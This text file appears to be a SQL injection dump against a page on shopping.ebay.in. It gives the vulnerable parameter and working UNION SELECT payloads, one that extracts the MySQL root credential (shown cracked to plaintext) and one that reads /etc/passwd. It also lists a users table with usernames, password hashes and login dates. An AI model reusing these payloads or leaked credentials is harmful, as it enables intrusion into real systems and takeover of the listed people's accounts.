ebayindia-sql.txt

`Host Information  
  
Server = Apache/2.0.52 (CentOS)  
Version = 4.0.20  
Powered by = PHP/5.2.0  
Current User = root@localhost  
Current Database = pegasusinfo  
Supports Union = yes  
Union Columns = 15  
  
Url| http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600  
  
Vuln:  
http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600+and+1=0+ and  
1=0 Union Select 1 ,2,3,4,5,6,7,8,[visible],10,11,12,13,14,15  
  
Comment: --  
  
Visible Column: 9  
  
Hexed: True  
  
Cookie:  
  
Keyword:  
  
Param:  
  
Database:  
  
Tables:users  
mysql.user  
mysql.user  
users  
  
Columns: Table users  
username  
password  
email  
last_login  
password  
password  
status  
user_level  
username  
  
*  
http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14+FROM+mysql.user--<http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,concat%28user,0x3a,password%29,9,10,11,12,13,14+FROM+mysql.user-->  
*  
  
root:05be434958638110  
  
05be434958638110 = p@ssw0rd  
  
*  
http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,load_file(0x2f6574632f706173737764),9,10,11,12,13<http://shopping.ebay.in/files/template_1rupee_new.php?lpid=600+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,load_file%280x2f6574632f706173737764%29,9,10,11,12,13>  
,14--*  
  
root:x:0:0:root:/root:/bin/bash  
bin:x:1:1:bin:/bin:/sbin/nologin  
daemon:x:2:2:daemon:/sbin:/sbin/nologin  
adm:x:3:4:adm:/var/adm:/sbin/nologin  
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin  
sync:x:5:0:sync:/sbin:/bin/sync  
shutdown:x:6:0:shutdown:/sbin:/sbin  
  
  
username:password:email:last_login:status:user_level:  
admin:5869b69603445758e7bf9ccc3234e4e4:[email protected]:2008-10-08  
13:15:51:I:1:  
sandyjain:9b3c9b2f6defe2612bf5d167627c8198:[email protected]:2007-01-22  
14:21:35:O:2:  
jojy:c257689d9efeb64bc08935fe324ebfdd:[email protected]:2006-11-23  
11:17:26:O:2:  
murali:c74cb3422f40ff56fca49560e49c9520:[email protected]:2007-07-05 15:25:42:O:2:  
raviv:92c5d5c278e9d89c9d01267ccbb0a572:[email protected]:2008-03-17  
13:38:26:O:2:  
sandeepk:6a7248f6d310f4f9caf9c731844fb4fb:[email protected]:2008-02-25  
14:33:22:O:2:  
richard:5f4dcc3b5aa765d61d8327deb882cf99:[email protected]:2008-11-10  
17:35:07:I:2:  
mahendra:5b6f5567bd8aec0e0fffb6ab260569eb:[email protected]:2007-09-26  
13:25:49:O:2:  
meher:58afa3c863166d893646e2ce652e3508:[email protected]:2008-06-17  
14:58:08:O:2:  
angopal:3e422d9ef8eaf16f468a133a3a183eb3:[email protected]:2007-03-16  
14:14:12:O:2:  
preetir:daddd4a20002dc505d4b4b427db17bcb:[email protected]:2007-10-24  
17:32:23:O:2:  
sudasgupta:51d5546002699f386705c4912d8fbe2c:[email protected]:2007-08-13  
16:20:49:O:2:  
pmirpuri:16adf72ff898749465caa26368b588f1:[email protected]:2007-02-19  
16:53:26:O:2:  
prd:31404e9c02cf0d64b64bed2d905db07e:[email protected]:2007-01-30  
00:17:53:O:2:  
bsampat:b5db90a88323693aec1ce3f1d2eee0f4:[email protected]:2007-03-20  
17:22:53:O:2:  
prdreview:441094a91ffe27201722e2774e99c607:[email protected]:2007-02-27  
14:54:20:O:2:  
adesh:1fd96777aedeadb325c66f3780054765:[email protected]:2008-11-14  
18:59:17:I:2:  
alal:d56a5fe97069c38246fed24af265226f:[email protected]:2007-07-12 15:25:36:O:2:  
shiju:12c8e5080c3b9b17c733775bb9d91085:[email protected]:2007-12-03  
14:37:28:O:2:  
pkumar:762354b9157924dcd7bee07a41ac8fec:[email protected]:2008-06-17  
18:36:20:O:2:  
test_csv:1918d8b69ed5893a4cf2f13fafdeffe1:[email protected]:2008-04-03  
17:52:42:O:2:  
  
  
  
  
  
Rohit Bansal  
`